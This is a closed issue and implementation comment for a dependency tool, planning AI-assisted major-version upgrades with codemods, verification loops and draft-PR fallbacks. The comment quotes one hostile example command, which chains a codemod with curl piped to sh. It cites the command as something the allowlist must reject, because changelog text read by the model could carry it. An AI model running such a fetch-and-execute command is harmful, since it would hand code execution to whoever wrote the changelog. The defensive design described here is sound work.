ReviewOS

stacks/buddy

AI-assisted major upgrades — breaking-change analysis, codemods, verified migration

#1388
Closed chris opened this 8 days ago ·
8 days ago

Part of #1367 (Phase 3 — Dependency Engine v2). The differentiator: neither Pullfrog nor CodeRabbit can do this, and Renovate can't either. Implements #132; relates to #108, #107.

Goal

AI-assisted major version upgrades: turn "here's a major update PR, good luck" into "here's a PR where the migration work is already done and CI is green." This fuses our dependency engine (what changed, release notes, usage sites) with the agent runtime (#1374) and fix loop (#1381).

Pipeline

For each major update the scanner finds (Buddy.scanForUpdates, one-PR-per-major grouping already exists in src/utils/helpers.ts:groupUpdates):

  1. Breaking-change intelligence (non-AI first) — collect from src/services/release-notes-fetcher.ts: release notes across the version span (respecting maxReleases — see #1371), CHANGELOG "BREAKING" sections, migration-guide links. Detect the span properly (5.x → 7.x must read 6.0 and 7.0 notes)
  2. Impact analysis — find usage sites of the package in the repo (imports, config files, API calls); cross-reference against the breaking-change list → structured MigrationPlan { changes: [{ breaking, affectedFiles, action }], confidence, effort } (validated via #1373 json mode)
  3. Migration execution (agent, implement tier):
    • Apply codemods when the package publishes them (many majors ship official codemods — run via bunx, e.g. npx @next/codemod) — detect from release notes/migration guides
    • Otherwise agent-edit affected call sites per the plan
    • Run repo tests; on red, enter the #1381 fix loop (bounded attempts)
  4. PR presentation — the update PR body gains a Migration Report: what broke, what was changed (file list), what was verified (test results), residual risks, and unaddressed items as checkboxes. Confidence badge (high/medium/low). Low-confidence upgrades open as draft PRs
  5. Fallback ladder — no AI configured → today's behavior (plain major PR + release notes). AI configured but migration fails → PR opens as draft with the analysis report and the failing diff on a sub-branch, so a human starts from the agent's work, not from zero

Config

ai.majorUpgrades?: {
  enabled?: boolean            // default false (opt-in; token-hungry)
  autoMigrate?: boolean        // false = analysis/report only (cheap mode)
  draftBelowConfidence?: 'high' | 'medium'   // default 'high'
  maxAttempts?: number
  packages?: string[]          // allowlist globs; empty = all majors
}

Rule-gated via #1384 (matchUpdateTypes: ['major'] rules can set per-package behavior).

Tasks

  • Version-span release-notes collection (multi-release walk) in release-notes-fetcher.ts
  • Usage-site finder (src/analysis/usage.ts): import graph for npm packages (ts/js via regex+resolve first, LSP later); config-file references
  • MigrationPlan schema + analysis prompt + confidence rubric
  • Codemod detection/execution path (allowlisted commands only, sandboxed via #1374 shell tool)
  • Agent migration mode + test-verify loop integration with #1381
  • Migration Report PR-body section + draft-PR logic + sub-branch preservation on failure
  • Analysis-only mode (no autoMigrate) — report without code changes; works as the cheap default
  • Fixtures: a toy repo + a package major with (a) codemod available, (b) manual rename needed, (c) unfixable break
  • docs/ai/major-upgrades.md

Acceptance criteria

  • Fixture (b): the major PR arrives with call sites updated and tests green, plus an accurate Migration Report
  • Fixture (c): draft PR with analysis + partial work preserved; never a silently-broken normal PR
  • No AI configured: behavior identical to today (regression tests)
  • Analysis-only mode adds the report without any code modification

Dependencies

8 days ago

Implemented in 39c5abc — src/upgrades/.

The fallback ladder is the design. No AI configured → returns nothing, caller opens the ordinary major PR it always did (regression suite confirms unchanged behaviour). AI configured → adds a migration report. autoMigrate: true → attempts the change and verifies it. Changing code is opt-in because a wrong migration costs far more than a missing one.

Three safety properties, each with a test:

Codemods are allowlisted, not just executed. Only plain package-runner invocations (npx/bunx/pnpm dlx/yarn dlx) with no shell metacharacters pass. The command comes from a model reading a changelog — in the worst case it comes from whoever wrote that changelog, so npx codemod && curl evil.sh | sh has to be rejected structurally rather than trusted.

Files the analysis never saw are dropped from the plan. A plan naming a file it did not read is guessing, and acting on it is how a migration corrupts unrelated code. Usage discovery matches import/require specifiers rather than free text, so react-dom doesn't match react and a changelog mentioning a package in prose doesn't become a site to edit.

Self-contradicting confidence is downgraded. A stated high sitting next to a change the model itself marked non-automatable becomes medium — that combination is the model disagreeing with itself, and the conservative reading is the safe one.

An unverified migration always opens as a draft regardless of what the plan claimed beforehand, and the report says plainly that verification failed. A report reading as finished when work remains is worse than no report, because the reviewer stops looking.

Scope note: analysis, usage discovery, plan normalization, the report, draft logic and the agent hand-off are done (30 tests). Not wired: the multi-release span walk in release-notes-fetcher (currently takes whatever notes the caller passes — a 5.x → 7.x upgrade should read the 6.0 and 7.0 notes, not just the newest), calling this from createPullRequests for major groups, and PR re-scoping to drop an unfixable package from a group. Following up rather than overstating what shipped.

Sign in to comment on this issue.